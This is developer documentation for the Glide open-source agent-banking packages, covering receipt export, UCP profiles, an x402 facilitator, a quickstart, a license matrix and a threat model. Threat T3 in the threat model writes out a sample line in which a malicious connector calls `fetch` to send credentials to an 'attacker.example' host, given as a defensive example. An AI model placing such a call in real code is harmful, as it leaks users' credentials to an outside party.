Typed Zod schema for agent spend receipts, with four export targets: RFC 4180 CSV, JSON Lines, QuickBooks IIF, and Xero CSV. The schema adopts the costillery receipt shape and augments it with fields the agent-banking standards layer requires: `correlationId`, `agentId`, `grantId`, `taxJurisdiction`, `realizedGainUsdCents`.
Zero runtime dependencies beyond `zod`.
## Install
```bash theme={null}
npm install @glideco/spend-export
```
[npmjs.com/package/@glideco/spend-export](https://www.npmjs.com/package/@glideco/spend-export)
## Why a shared schema
The agent-spend ecosystem fragmented early — every receipt-intel package chose its own field names, and two weeks later no two systems agreed on whether the fee field was `fee`, `feeAmount`, `fee_usd`, or omitted. This package pins the canonical column order, enforces ISO 4217 uppercase currency codes (lowercase `'usd'` breaks downstream tax-exporter cache keys), and validates MCC codes as exactly 4 ASCII digits (not `'ABCD'`). Callers that violate these constraints get a parse error at the boundary rather than a silent wrong export.
The `realizedGainUsdCents` field is bounded to ±\$100B per receipt. A stale price-oracle returning a nonsensical value would otherwise push phantom billion-dollar gains into the user's tax export without any visible warning.
## Schema
```ts theme={null}
import { parseSpendReceipt, type SpendReceipt } from '@glideco/spend-export';
const receipt = parseSpendReceipt({
schemaVersion: '0.1.0',
id: 'a1b2c3d4-e5f6-7890-abcd-ef1234567890',
occurredAt: '2026-04-30T14:22:00Z',
amountCents: 4999,
currency: 'USD',
rail: 'x402',
counterparty: {
name: 'Anthropic API',
country: 'US',
taxIdType: 'ein',
taxIdValue: '12-3456789',
},
statementDescriptor: 'ANTHROPIC*API',
correlationId: 'mcp_audit_7f8e9d2a',
agentId: 'c1a2b3d4-e5f6-7890-abcd-ef1234567890',
grantId: 'd4e5f6a7-b8c9-0123-abcd-ef1234567890',
taxJurisdiction: 'US-CA',
realizedGainUsdCents: 0,
});
```
## Exporting
### CSV
```ts theme={null}
import { exportCsv } from '@glideco/spend-export';
const csv = exportCsv(receipts);
// → RFC 4180 CSV with 16 canonical columns:
// id, occurredAt, amountCents, currency, rail, counterpartyName,
// counterpartyCountry, statementDescriptor, mcc, correlationId,
// agentId, grantId, taxJurisdiction, realizedGainUsdCents, txHash, memo
```
### QuickBooks IIF
```ts theme={null}
import { exportQboIif } from '@glideco/spend-export';
const iif = exportQboIif(receipts);
// TRNS/SPL/ENDTRNS format. Imports under Banking → File →
// Utilities → Import → IIF Files.
// Glide-augmentation fields (correlationId, agentId, grantId)
// carried in the MEMO column so they survive a plain-QBO import.
```
IIF fields containing tabs or newlines would inject phantom transaction rows. The exporter strips C0 control characters from every interpolated value before the tab-join.
### Xero CSV
```ts theme={null}
import { exportXeroCsv } from '@glideco/spend-export';
const xero = exportXeroCsv(receipts);
// Xero's column layout (*Date, *Amount, Payee, Description,
// Reference, Cheque No.) — different from the canonical CSV.
```
### JSON Lines + aggregation
```ts theme={null}
import {
exportJsonLines,
aggregateBy,
summarizeRealizedGains,
} from '@glideco/spend-export';
// One JSON receipt per line — for warehouse ingestion.
const jsonl = exportJsonLines(receipts);
// Group by agent, get count + total spend per agent.
const byAgent = aggregateBy(receipts, (r) => r.agentId);
// Crypto rail realized gain summary.
const gains = summarizeRealizedGains(receipts);
// → { totalCents: number, byRail: Map }
```
## Rail vocabulary
The `spendRailSchema` covers every Glide payment surface: `card-mastercard`, `card-visa`, `card-amex`, `card-bridge`, `x402`, `mpp-tempo`, `mpp-stellar`, `mpp-solana`, `mpp-lightning`, `stripe-spt`, `sepa`, `ach`, `wire`, `self-custody-evm`, `self-custody-svm`, `self-custody-xchain`.
## Reading list
* [Receipt schema](/oss/standards/receipt) — the canonical Glide receipt shape this package serializes.
* [`@glideco/smart-router`](/oss/packages/smart-router) — the rail that each receipt is attributed to.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/spend-export)
# @glideco/ucp-profile
Source: https://glide-9da73dea.mintlify.app/oss/packages/ucp-profile
Builder and parser for the Universal Commerce Profile (UCP) v0.1-2026-04. Publishes the /.well-known/ucp.json discovery document for buyer-agent runtimes.
Builder and parser for the Universal Commerce Profile (UCP), the discovery
layer defined by Google and Shopify that sits above AP2 (mandates) and ACP
(commerce). UCP-aware agent runtimes — Google's commerce-router, Shopify
Sidekick, and 20+ endorsed partners including Wayfair, Target, and Walmart —
fetch `/.well-known/ucp.json` on first contact to learn which mandate types,
payment rails, currencies, regions, and agent-identity formats a merchant
supports before choosing whether to engage.
This package is a wire-format adapter, not the source of truth for the UCP
spec. When UCP ships a new version that breaks the profile schema, a new minor
is published and `UCP_SPEC_VERSION` is bumped. Because this package imports
`AP2_SPEC_VERSION` from `@glideco/ap2-adapter` and `ACP_SPEC_VERSION` from
`@glideco/acp-merchant`, a version bump in either underlying spec propagates to
the published profile automatically.
## Install
```bash theme={null}
npm install @glideco/ucp-profile
```
[npmjs.com/package/@glideco/ucp-profile](https://www.npmjs.com/package/@glideco/ucp-profile)
## What the profile covers
The profile is a JSON document at `/.well-known/ucp.json` that answers the
questions an agent runtime asks before initiating a commerce session:
* **Rails** — which payment rails are accepted (`x402`, `mpp-tempo`, `stripe-spt`, etc.)
* **Protocols** — which commerce protocols the merchant speaks (`ap2`, `acp`, `mcp`, `x402`, `mpp`)
* **Endpoints** — URL + pinned spec version per protocol
* **Mandates** — which AP2 mandate types are accepted (`IntentMandate`, `CartMandate`, `PaymentMandate`)
* **Agent identities** — trusted DID schemes (`did:key`, `did:web`, `erc-8004`)
* **Compliance** — whether OFAC/sanctions screening and KYA checks are active
* **Regions / currencies** — accepted ISO 3166-1 + ISO 4217 / stablecoin ticker sets
The `profileSupports` function lets a smart-router filter profile documents
against required capabilities without loading the full schema each time.
## Spec version
Pinned to UCP **`0.1-2026-04`** — exported as `UCP_SPEC_VERSION`. The
`ucpVersion` field in the served JSON must equal this constant; strict UCP
validators (Google's commerce-router, Shopify Sidekick) reject profiles with
an unrecognized version.
The `protocols` field uses a closed enum from the UCP spec: `ap2`, `acp`,
`mcp`, `x402`, `mpp`. Custom or legacy protocol identifiers must go under an
`x-:` extension namespace, not in the closed enum.
## API surface
| Export | Description |
| ------------------------------------ | ----------------------------------------------------------------------------------------------- |
| `buildUcpProfile(args)` | Build a spec-conformant profile JSON. Defaults require deployment-specific verification. |
| `parseUcpProfile(input)` | Parse + Zod-validate a remote profile (for smart-router filtering). Throws on schema violation. |
| `profileSupports(profile, required)` | Return `true` if a profile satisfies a required capability set. |
| `UCP_SPEC_VERSION` | `'0.1-2026-04'` — version constant echoed in the profile. |
| `UCP_PROFILE_PATH` | `'/.well-known/ucp.json'` — canonical publish path. |
## Serving the profile
```ts theme={null}
// apps/web/src/app/.well-known/ucp.json/route.ts
import { buildUcpProfile } from '@glideco/ucp-profile';
export async function GET() {
const profile = buildUcpProfile({
domain: 'glide.co',
name: 'Glide',
contactEmail: 'agents@glide.co',
compliance: {
sanctionsScreening: true,
kya: true,
sanctionsProvider: 'chainalysis',
},
sla: { uptime: '99.95%', responseP95Ms: 280 },
});
return Response.json(profile, {
headers: { 'Cache-Control': 'public, max-age=3600' },
});
}
```
The default `rails`, `currencies`, `regions`, `endpoints` and `acceptedMandates` are package metadata. Set them to the capabilities actually enabled in your deployment before publishing the profile. They do not establish consumer corridor availability; see [Send money](/money/send).
## Filtering profiles in the smart-router
```ts theme={null}
import { parseUcpProfile, profileSupports } from '@glideco/ucp-profile';
async function findCompatibleMerchant(candidates: string[]) {
for (const domain of candidates) {
const res = await fetch(`https://${domain}/.well-known/ucp.json`);
let profile;
try {
profile = parseUcpProfile(await res.json());
} catch {
continue; // schema violation → skip
}
if (profileSupports(profile, {
rails: ['x402'],
currencies: ['USDC'],
regions: ['US'],
mandates: ['IntentMandate'],
})) {
return profile;
}
}
return null;
}
```
## Compliance posture defaults
`buildUcpProfile` defaults `compliance.sanctionsScreening` and `compliance.kya`
to `true`, and `compliance.sanctionsProvider` to `'chainalysis'`. The default
`excludedRegions` list includes IR, KP, SY, and CU as package defaults. These defaults are not a current legal determination. Configure the profile to match your screening service and applicable requirements.
Country and currency fields are validated as uppercase — lowercase `'us'` or
`'usd'` throws at build time because UCP-aware agent runtimes use byte-equality
on those strings, not case-insensitive comparison.
## Reading list
* [ConnectorManifest standard](/oss/standards/connector-manifest) — how
protocol capabilities are declared for Glide connectors.
* [`@glideco/ap2-adapter`](/oss/packages/ap2-adapter) — mandate protocol
whose version is re-exported by this package.
* [`@glideco/acp-merchant`](/oss/packages/acp-merchant) — commerce
protocol whose version is re-exported by this package.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/ucp-profile)
# @glideco/x402-facilitator
Source: https://glide-9da73dea.mintlify.app/oss/packages/x402-facilitator
x402 facilitator protocol shapes and a composable screening pipeline. Pure functions; settlement IO is injected by apps/web.
x402 facilitator protocol layer with Chainalysis-backed compliance screening.
x402 facilitators verify off-chain payment payloads and settle them on-chain.
The pipeline composes address screening, MCC screening and idempotent
settlement. Screening coverage depends on the configured provider and its
contract; the protocol package does not itself provide a regulated service.
This package is the protocol shape and orchestration layer: `VerifyRequest`,
`VerifyResponse`, `SettleRequest`, `SettleResponse`, and the compliance-pipeline
composer. Actual on-chain RPC calls, Chainalysis API invocations, and audit-event
writes live in `apps/web`. The HTTP endpoints are mounted from
`app/api/x402/facilitator/{verify,settle}/route.ts`.
**F1 IRON RULE:** The facilitator's `SettleResponse.txHash` is the facilitator's
claim, not verified fact. Operators MUST independently RPC-verify the on-chain
transaction before persisting it to any audit row. This package surfaces the
facilitator's response verbatim and leaves the verification step to the consumer.
The reference implementation is the `serverFetchChainTx` dependency in the MCP
`x402.pay` tool.
## Install
```bash theme={null}
npm install @glideco/x402-facilitator
```
[npmjs.com/package/@glideco/x402-facilitator](https://www.npmjs.com/package/@glideco/x402-facilitator)
## Two-phase protocol
x402 uses a verify-then-settle protocol:
1. **`/verify`** — facilitator validates the off-chain EIP-712 payment payload and
runs the compliance pipeline. Returns `{isValid, invalidReason}` without
touching chain state.
2. **`/settle`** — facilitator broadcasts the on-chain transaction after a
TOCTOU re-verify pass. Returns `{success, txHash, network}`.
The `handleVerify` and `handleSettle` orchestrators implement this contract.
Settlement uses a store-before-broadcast pattern: a pending sentinel is written
before invoking broadcast so a process kill mid-broadcast does not re-broadcast
on replay.
## API surface
| Export | Description |
| --------------------------------------- | -------------------------------------------------------------------------------- |
| `handleVerify(rawRequest, deps)` | Parse + validate payload, run compliance pipeline, return `VerifyResponse`. |
| `handleSettle(rawRequest, deps)` | Re-verify (TOCTOU defense), store sentinel, broadcast, store terminal state. |
| `runCompliancePipeline(args, screener)` | Compose sanctions + MCC + cap screening. Short-circuits on first block. |
| `deriveIdempotencyCacheKey(args)` | Content-bound cache key: `${idempotencyKey}:${sha256(payTo\|network\|payload)}`. |
| `FACILITATOR_MAX_BODY_BYTES` | 4 MB — request size limit to bound CPU + memory. |
| `X402_FACILITATOR_VERSION` | `'2.0'` — version echoed in `X-X402-Version` response header. |
## Wiring the /verify route
```ts theme={null}
// apps/web/src/app/api/x402/facilitator/verify/route.ts
import {
handleVerify,
FACILITATOR_MAX_BODY_BYTES,
X402_VERSION_HEADER,
X402_FACILITATOR_VERSION,
} from '@glideco/x402-facilitator';
import { chainalysisScreener } from '@/server/lib/screeners';
export async function POST(req: Request) {
if (Number(req.headers.get('content-length') ?? 0) > FACILITATOR_MAX_BODY_BYTES) {
return new Response(null, { status: 413 });
}
const body = await req.json();
const result = await handleVerify(body, {
async decodePayload({ payload, network }) {
// Validate EIP-712 signature, check expiry + replay
return eip712Decoder.decode(payload, network);
},
screener: chainalysisScreener,
});
return Response.json(result, {
headers: { [X402_VERSION_HEADER]: X402_FACILITATOR_VERSION },
});
}
```
## Compliance pipeline
The pipeline is composable — each screener returns `'allow' | 'block' | 'review'`.
The first non-allow result short-circuits; `'review'` is treated as block (conservative
posture).
```ts theme={null}
import { runCompliancePipeline, type ComplianceScreener } from '@glideco/x402-facilitator';
const screener: ComplianceScreener = {
async screenSanctions({ payerAddress, payeeAddress, network, asset, amount }) {
const verdict = await chainalysis.screenAddress(payerAddress);
return {
verdict: verdict.risk === 'high' ? 'block' : 'allow',
reason: verdict.reason ?? 'ok',
provider: 'chainalysis',
screeningId: verdict.screeningId,
};
},
async screenMcc({ mcc, payeeAddress }) {
return mccEngine.check({ mcc, payeeAddress });
},
};
const result = await runCompliancePipeline({
payerAddress: '0xPayer…',
payeeAddress: '0xMerchant…',
network: 'base',
asset: '0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913',
amount: '1000000',
}, screener);
if (result.verdict !== 'allow') {
console.log('Blocked by:', result.blockingResult);
}
```
## Idempotency defense
The cache key is content-bound to defend against cross-tenant cache poisoning.
An attacker who guesses a victim's idempotency key also needs to match the
exact `(payTo, network, paymentPayload)` triple:
```ts theme={null}
import { deriveIdempotencyCacheKey } from '@glideco/x402-facilitator';
const cacheKey = deriveIdempotencyCacheKey({
idempotencyKey: request.idempotencyKey,
payTo: request.paymentRequirements.payTo,
network: request.paymentRequirements.network,
paymentPayload: request.paymentPayload,
});
// → 'user-supplied-key:a3f8b2c1…' (SHA-256 prefix of content triple)
```
## Verify response invalidReason vocabulary
| Reason | Cause |
| --------------------------- | ---------------------------------------------------- |
| `insufficient_funds` | Payload amount exceeds on-chain balance. |
| `invalid_signature` | EIP-712 signature verification failed. |
| `expired` | Payment payload past `validBefore`. |
| `replayed` | Nonce already consumed. |
| `sanctions_block` | Payer or payee matched an OFAC / sanctions entry. |
| `mcc_blocked` | Merchant category code on the deny list. |
| `amount_exceeds_policy_cap` | Amount exceeds the policy-engine cap for this agent. |
| `velocity_exceeded` | Per-period transaction velocity cap hit. |
## Reading list
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — the
F-rules, including F1 (server-side RPC verify) that governs `txHash` handling.
* [`@repo/connectors-coinbase-x402`](/oss/packages/connectors-coinbase-x402) (workspace-internal — wraps `@glideco/x402-facilitator` with Coinbase CDP integration) —
Coinbase CDP integration that wraps this facilitator for receiver-side flows.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/x402-facilitator)
# 90-second quickstart
Source: https://glide-9da73dea.mintlify.app/oss/quickstart
From `git clone` to `localhost:3000/health → 200` in under 90 seconds. Zero vendor signups required.
The Champion-tier quickstart from the OSS Cathedral M3 plan. From a fresh machine with Docker + Node 22 + pnpm installed:
```bash theme={null}
git clone https://github.com/darshanbathija/axtior-neobank.git
cd axtior-neobank
pnpm install
```
```bash theme={null}
docker compose up -d
```
Brings up Postgres 16 on `localhost:5435`, Redis 7 on `localhost:6381`, Inngest dev on `localhost:8288`.
```bash theme={null}
bash scripts/generate-keys.sh > .env.keys
cat .env.keys >> apps/web/.env.local
```
`scripts/generate-keys.sh` emits **dev-only random placeholders** for the JWT secret, webhook secret, and four operational keys. Regenerate with KMS-backed values for production.
Sign up at [privy.io](https://privy.io), create a Multi-tenant tenant, copy the App ID + App Secret into `apps/web/.env.local`:
```env theme={null}
NEXT_PUBLIC_PRIVY_APP_ID=clxxxxxxxxxxxxxx
PRIVY_APP_SECRET=xxxxxxxxxxxxxxxxxxxx
```
```bash theme={null}
bash scripts/run-agent-platform-migrations.sh
```
```bash theme={null}
GLIDE_USE_MOCK_CONNECTORS=true pnpm --filter web dev
```
```bash theme={null}
curl http://localhost:3000/health
# → {"status":"ok"}
pnpm glide doctor
# all checks pass
```
## Alternative: `npx create-glide-app`
```bash theme={null}
npx create-glide-app my-bank
cd my-bank
docker compose up -d
# follow my-bank/README.md for the rest
```
The scaffolder writes a minimal starter (`docker-compose.yml`, `.env.example`, README) that orchestrates the data layer + directs you to `pnpm glide demo` for full bring-up.
## What's mocked in demo mode
`GLIDE_USE_MOCK_CONNECTORS=true` swaps every connector for its sandbox variant. **No real Bridge / Noah / Chainalysis / Alchemy keys required.** The fail-closed audit refuses production `NODE_ENV` unless `GLIDE_ALLOW_MOCKS_IN_PROD=true` is explicitly set.
For a production-shaped stack with real vendors, see [Self-host guide](/oss/self-hosting).
## Next
* [Self-host guide](/oss/self-hosting) — production env posture + deploy targets.
* [Hosted vs self-hosted](/oss/concepts/hosted-vs-self-hosted) — the parity commitment.
* [Agent platform quickstart](/oss/headless/index) — spin up `apps/mcp` for agent banking.
# License compatibility
Source: https://glide-9da73dea.mintlify.app/oss/security/license-compatibility
Accept / warn / block matrix for third-party dependencies. MIT/Apache/BSD/ISC pass; MPL/LGPL/AGPL warn; GPL/SSPL/unlicensed block.
Glide OSS is MIT-licensed. Contributions land under MIT. Third-party dependencies (npm packages, vendor SDKs) are evaluated against the matrix below.
## Matrix
| License | OK to depend on? | OK to redistribute? | Notes |
| ------------------------------------- | ---------------------- | ------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **MIT** | ✅ | ✅ | Glide's own license. Preferred for all dependencies. |
| **Apache-2.0** | ✅ | ✅ | Patent grant + attribution requirements. Compatible. |
| **BSD-2-Clause / BSD-3-Clause** | ✅ | ✅ | Attribution required. Compatible. |
| **ISC** | ✅ | ✅ | Functionally equivalent to MIT. |
| **MPL-2.0** | ✅ (with care) | ✅ | File-level copyleft only — touching an MPL file makes that file MPL but not your other files. Avoid for core surface. |
| **LGPL-3.0** | ⚠️ (dynamic link only) | ⚠️ | LGPL is acceptable as a dynamically-linked dependency but our build is bundled. Treat as warn; reviewer must confirm linking model. |
| **AGPL-3.0** | 🚧 **WARN** | 🚧 | Network-copyleft "infects" hosting obligations for every self-hoster. We don't block AGPL deps but the contributor-PR CI gate **WARNS LOUDLY** on AGPL pulls. Self-hosters carry the AGPL hosting obligation forward. Documented in CI output + this file. |
| **GPL-2.0-only / GPL-3.0-only** | ❌ | ❌ | Strong copyleft. Blocks our MIT redistribution. **Hard CI block** on connector / skill PRs that pull GPL deps. |
| **SSPL-1.0** (MongoDB-style) | ❌ | ❌ | "Service-source-provider" requirement is incompatible with operator-side commercial use. **Hard CI block.** |
| **Commons Clause / "non-commercial"** | ❌ | ❌ | Restricts commercial redistribution. **Hard CI block.** |
| **Proprietary / unlicensed** | ❌ | ❌ | No license = all rights reserved. **Hard CI block.** |
## CI behavior
The license scan is implemented in `.github/workflows/license-scan.yml`. The policy distinguishes these signals; inspect the workflow for its current enforcement:
| Signal | Outcome | Examples |
| ------ | ------------------------------------------------- | ---------------------------------------------- |
| `pass` | Build green | MIT, Apache-2.0, BSD-2/3, ISC |
| `warn` | Build green + bot comment requesting reviewer ack | MPL-2.0, LGPL-3.0, AGPL-3.0 |
| `fail` | Build red | GPL-2/3-only, SSPL, Commons Clause, unlicensed |
The workflow runs `license-checker-rseidelsohn` over installed production dependencies. Its allowlist and failure handling are defined in the workflow.
## What about Privy / Bridge / Noah / Chainalysis SDKs?
Vendor SDKs are typically MIT or Apache-2.0 (the standard for client libraries). The vendor's *terms of service* are a separate matter — see each connector's `DISCLAIMER.md` for ToS-redistribution language. License compatibility (this doc) and ToS compatibility (per-connector DISCLAIMER) are orthogonal.
## What if the license is missing?
Treat unlicensed packages as proprietary. The CI gate fails on missing license fields. If you need an unlicensed dep, file an issue with the dependency's maintainer to clarify; don't ship it through Glide CI.
## Operator notes
If you (the self-hoster) **add** an AGPL-licensed connector or skill to your deployment:
* Your deployment falls under the AGPL "interaction over a network" trigger. You owe source disclosure to anyone interacting with the running service.
* This includes the AGPL component's source AND the source of "the larger Program," which is interpreted broadly under AGPL. Talk to a lawyer before going live.
* Glide does not redistribute AGPL packages by default. The CI warn gate is your reminder.
## Where this lives
* This file: human-readable matrix.
* `.github/workflows/license-scan.yml`: the CI implementation.
* `CONTRIBUTING.md`: pre-PR checklist that points contributors here.
# Threat model
Source: https://glide-9da73dea.mintlify.app/oss/security/threat-model
STRIDE pass + IRON RULE F-contract review across 10 surfaces: deposit, send, payout, webhook, admin, MCP gateway, grant issuance, tool-call policy, audit log, public standards.
**Last reviewed:** 2026-04-26 (M0 baseline)
**Methodology:** STRIDE per surface + IRON RULE F-contract review.
**Scope:** orchestration shell — web + worker + mobile + apps/mcp + connectors + agent skills.
This is the v1 baseline that ships in M0. v2 lands at M5 with admin-UI, Trust Console, and partner-contribution surfaces folded in.
## Trust boundaries
```
┌──────────────────────────────────────────────────────────────────────────┐
│ ATTACKER ZONES (untrusted) │
│ • Public internet — anonymous HTTP, scrapers, bot traffic │
│ • Authenticated user — owns `userId`, may attempt entity / vault │
│ escalation │
│ • Compromised AI agent — has scoped grant JWT, attempts policy-bypass │
│ • Malicious connector PR contributor — submits adapter under fork │
│ • Compromised vendor (Bridge, Noah, Chainalysis) — sends valid-looking │
│ webhook payload │
└──────────────────────────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────────────┐
│ INTERNAL ZONES (trusted under fresh-read posture, F3) │
│ • apps/web router — tRPC, NextAuth session │
│ • apps/web admin shell — superadmin role guard │
│ • apps/mcp gateway — Express 5 + JSON-RPC, scoped grant JWT │
│ • Inngest worker — cron + saga reaper │
│ • Postgres — append-only `activity_log` trigger, `connector_settings` │
│ • Redis — rate limiting, velocity aggregation, share-URL revocation │
└──────────────────────────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────────────┐
│ DELEGATED-TRUST ZONES (custodied via timelock, F5/F7) │
│ • Privy programmable signing (EVM + Solana) │
│ • User Safe / Squads multisigs (M-of-N) │
│ • Glide recovery keys (propose-only, 72h Zodiac Delay non-veto) │
│ • Vendor APIs — Bridge, Noah, Chainalysis, Alchemy, Coinbase │
└──────────────────────────────────────────────────────────────────────────┘
```
## STRIDE — high-level pass
| Surface | Spoofing | Tampering | Repudiation | Info Disclosure | Denial of Service | Elevation |
| ------------------------- | -------------------------------------------------------------- | -------------------------------------------------------- | ---------------------------------------------------- | ----------------------------------------------- | ------------------------------------------ | ----------------------------------------------------------------- |
| Deposit (crypto) | Sanctions screening + RPC verify (F1) | Server-side address generation; webhook HMAC | `activity_log` append-only (F4) | Per-user adapter + isolation | Rate limits per user/tenant | `assertVaultNotAgentManaged` blocks user-tRPC drain |
| Send (crypto + fiat) | Two-tier auth (Privy + step-up) | CAS-claim (F2) on `agent_pending_payments` | Append-only + risk annotation (M4) | Per-user keys; never log secrets | Velocity caps in policy envelope | Step-up at amount threshold |
| Card issuance | Vendor-side KYC + screening | Vendor signs card events; webhook HMAC | Append-only | Card details never persisted; only `last4` | Vendor rate limits | Cards bound to user; cannot move to other user |
| Webhook ingest | Per-vendor HMAC verify; replay-resistant within 5min | Body parsed, signature checked first | Inngest event log + `activity_log` | Webhook bodies never logged in plaintext | Inngest backpressure | Webhook can only emit pre-defined event types |
| Admin (`/admin/*`) | NextAuth + `superadmin` role | tRPC mutation typing; Drizzle parametrized queries | Admin actions logged with `app.dsar_context_id` null | Admin sees redacted PII unless DSAR context set | Cookie auth, no public exposure | Non-superadmin → 403 |
| MCP gateway (apps/mcp) | Confused-deputy guard rejects cross-endpoint calls BEFORE auth | JSON-RPC envelope hand-rolled; pinned to spec 2025-11-25 | Append-only via `activity_log` | Tool responses scrubbed by `@repo/secrets-scan` | Upstash token bucket per tenant+tool class | Scoped grant JWT (`act.sub`) + per-call F3 fresh-read tenant |
| Agent grant issuance | OAuth AS (Ory or external-BYO); RFC 9728-compliant | Grant claims in JWT, audience-bound | Grant issuance event in audit log | Refresh tokens never returned to agent runtime | Issuance rate-limited per user | `exp ≤ 60min`, revocation list, scope-narrowing on issue |
| Connector PR contribution | DCO sign-off, signed-commits for verified tier | Manifest Zod validation; egress-host lint | CODEOWNERS | Snyk + Socket scan; license-compat scan | CI parallel matrix (per-gate timeouts) | `trust:` field CODEOWNERS-protected; verified requires signed TPA |
| Skill PR contribution | DCO + signed commits | Manifest validation; tool-scope check | CODEOWNERS | Prompt-injection review checklist | Same parallel matrix | Skill cannot exceed declared policy axes |
## Money-safety F-contracts
The IRON RULES that gate every money-touching operation. Preserve by name + tests in OSS extraction.
| # | Contract | Surface | Where in main |
| -- | ---------------------------------------------- | ----------------------------------------------------- | ------------------------------------------------------------------- |
| F1 | Server-side RPC verify on x402 payments | `apps/mcp/src/tools/x402-pay.ts` | Persists `on_chain_tx` + `amount` from RPC, NEVER from facilitator |
| F2 | CAS-claim before broadcast | `agent_pending_payments` table + tool implementations | No double-broadcast on Inngest re-fire |
| F3 | Fresh-read tenant verification | `@repo/grant-wrapper` | Re-read tenant from DB on every tool invocation |
| F4 | Append-only `activity_log` | Migration `0042_activity_log_agent_cols.sql` | UPDATE/DELETE/TRUNCATE rejected unless `app.dsar_context_id` is set |
| F5 | Atomic policy\_version bump on signer rotation | `apps/mcp/src/tools/vault-rotate-signer.ts` | In-flight tool calls cannot sign against rotated-out signer |
| F7 | Sigil first-use-only | `apps/mcp/src/step-up/sigil.ts` | URL-mode elicitation race defense |
## High-priority threats (M0 baseline)
### T1 — Mock connectors mis-deployed in production
A self-hoster sets `GLIDE_USE_MOCK_CONNECTORS=true` in their production env to debug an issue, forgets to unset it, and real user money flows through deterministic mocks that always succeed.
**Mitigations:** Boot refusal in `NODE_ENV=production` unless `GLIDE_ALLOW_MOCKS_IN_PROD=true`. Red startup banner on the web app's adapter factory + Tier 2 per-user adapter mode resolution. M4: `/admin/connectors` health-check column shows mock-mode prominently.
**Status (M0 — partial):** mitigated in `apps/web` (`createGlobalAdapters`, `createOrchestrationAdapter`, `createKycAdapter`, `createCardAdapter`, `createQrGatewayDispatcher`). Coverage gaps to close in subsequent milestones: workers (Inngest), `apps/mcp` gateway boot, mobile API surface. Self-hosters who run those processes with `GLIDE_USE_MOCK_CONNECTORS=true` set in their env do not yet get the refusal — added to `TODOS.md` for M2.5/M3.
### T2 — Compromised AI agent grant exceeds policy
An agent with a valid scoped grant attempts a transaction outside the policy envelope (over per-tx cap, off-allowlist counterparty, off-allowlist chain, etc.).
**Mitigations:** Triple-enforcement of policy envelope — router pre-check (`@repo/policy-engine`), Privy programmable signing policy (EVM-native + EVM/Solana router-Redis aggregation), on-chain multisig allowlist (derived). All three must agree. **Status:** mitigated by Headless backend in main (PR153), preserved by OSS extraction at M2.5.
### T3 — Connector adapter exfiltrates user credentials
A community connector PR is merged that includes a `fetch('https://attacker.example/exfil', { body: credentials })` call inside its capability methods.
**Mitigations:** Egress-host lint CI gate (M5) parses the connector source via ts-morph and rejects PRs with `fetch`/`axios` targets not declared in `manifest.egressHosts`. Trust tier `community` is off by default; `verified` requires signed TPA. Snyk + Socket supply-chain scans. **Status:** baseline gate exists at M0 (`packages/connectors/_base` enforces manifest shape); CI gates ship at M5.
### T4 — Append-only `activity_log` bypassed via direct DB access
An operator with Postgres credentials runs `DELETE FROM activity_log WHERE ...` to hide an incident.
**Mitigations:** Trigger rejects UPDATE/DELETE/TRUNCATE unless `app.dsar_context_id` is set in the session. The DSAR context is admin-gated and emits a `DSARContextEvent` audit row in the same transaction. **Status:** mitigated by migration 0042 in main; OSS extraction preserves the trigger verbatim.
### T5 — Recovery key exfiltration leads to vault drain
`GLIDE_RECOVERY_EVM_PRIVATE_KEY` or `GLIDE_RECOVERY_SOLANA_PRIVATE_KEY` is exfiltrated; attacker proposes owner-set rotation on user vaults.
**Mitigations:** Recovery keys are PROPOSE-ONLY — they cannot execute without a 72h Zodiac Delay (EVM) / Squads timelock (Solana) AND user non-veto. User receives push notification + email at proposal time + at every 24h tick of the timelock. Self-hosters are instructed to provision their own KMS-backed copies and rotate on a quarterly cadence. **Status:** mitigated by PR150's recovery primitives; OSS preserves the constraint via the `RecoveryProvider` capability shape.
### T6 — Plaintext secrets in connector\_settings or env-file
Self-hoster commits a `.env.local` containing live keys to git.
**Mitigations:** `packages/secrets-scan` denylist + entropy scanner runs in CI on every PR (M5 gate). `connector_settings` schema stores `secretRef: "doppler://..."` only, never plaintext. `.gitignore` covers `.env*` patterns. README + SELF\_HOSTING.md surface the secrets-backend pattern.
**Status (M0 — library only):** scanner library ships at M0 with denylist (JWT, PEM, AWS access/secret, Stripe, GitHub, Slack, GCP, Anthropic, OpenAI, OAuth code, EVM/Solana priv key, bearer) + Shannon-entropy fallback. Hash-shaped kinds (EVM/Solana priv, AWS secret, bearer) require a contextual prefix to avoid redacting tx hashes and other 64-hex / 88-base58 IDs. Scanner has no callers yet — Trust Console event ingestion wires it in at M4; `connector_settings` storage pattern lands at M4; CI workflow pre-PR gate ships at M5.
## Out-of-scope for v1
* Side-channel attacks on TEE / Privy programmable signing (vendor-managed).
* Quantum-resistance posture (no current standard for ed25519/secp256k1 replacement).
* Supply-chain attacks via npm registry compromise (mitigated partially by Snyk + Socket; full mitigation requires verifiable builds).
* Compromise of the Glide GitHub organization itself (mitigated by 2FA-enforced + signed-commits-required policy).
## Revision history
* **2026-04-26** — v1 baseline shipped in M0 (`feat/oss-m0-foundations`).
* **2026-04-25** — v2 addendum below extends v1 with M2.5/M5/M5.5 surfaces.
* v3 lands when Trust Console v1 (M4) ships in OSS.
***
# v2 addendum (M2.5 + M5 + M5.5)
The v1 surfaces (1–9) above remain accurate. v2 adds the **public standards site** as surface #10 and promotes the money-safety F-rules to first-class architectural commitments.
## Money-safety F-rules
These ARE the threat-model mitigations for the MCP gateway + grant issuance + tool-call policy + audit-log surfaces. Self-hosters who remove any of them assume liability for the resulting deployment.
| Rule | What it guarantees | Where |
| -------------------------------------------------- | -------------------------------------------------------------------------------------------------- | ----------------------------------------- |
| **F1 — Server-side RPC verify** | `x402.pay` persists `on_chain_tx` from `serverFetchChainTx` (RPC), NEVER from facilitator receipt. | `apps/mcp/src/tools/x402-pay.ts` |
| **F2 — CAS-claim before broadcast** | `agent_pending_payments` rows claimed via SQL `UPDATE ... RETURNING`; race losers skip. | Migration 0041 + saga-reaper 0044 |
| **F3 — Fresh-read tenant verification** | `@glideco/grant-wrapper` re-reads tenant from DB on every tool invocation. | `@glideco/grant-wrapper` |
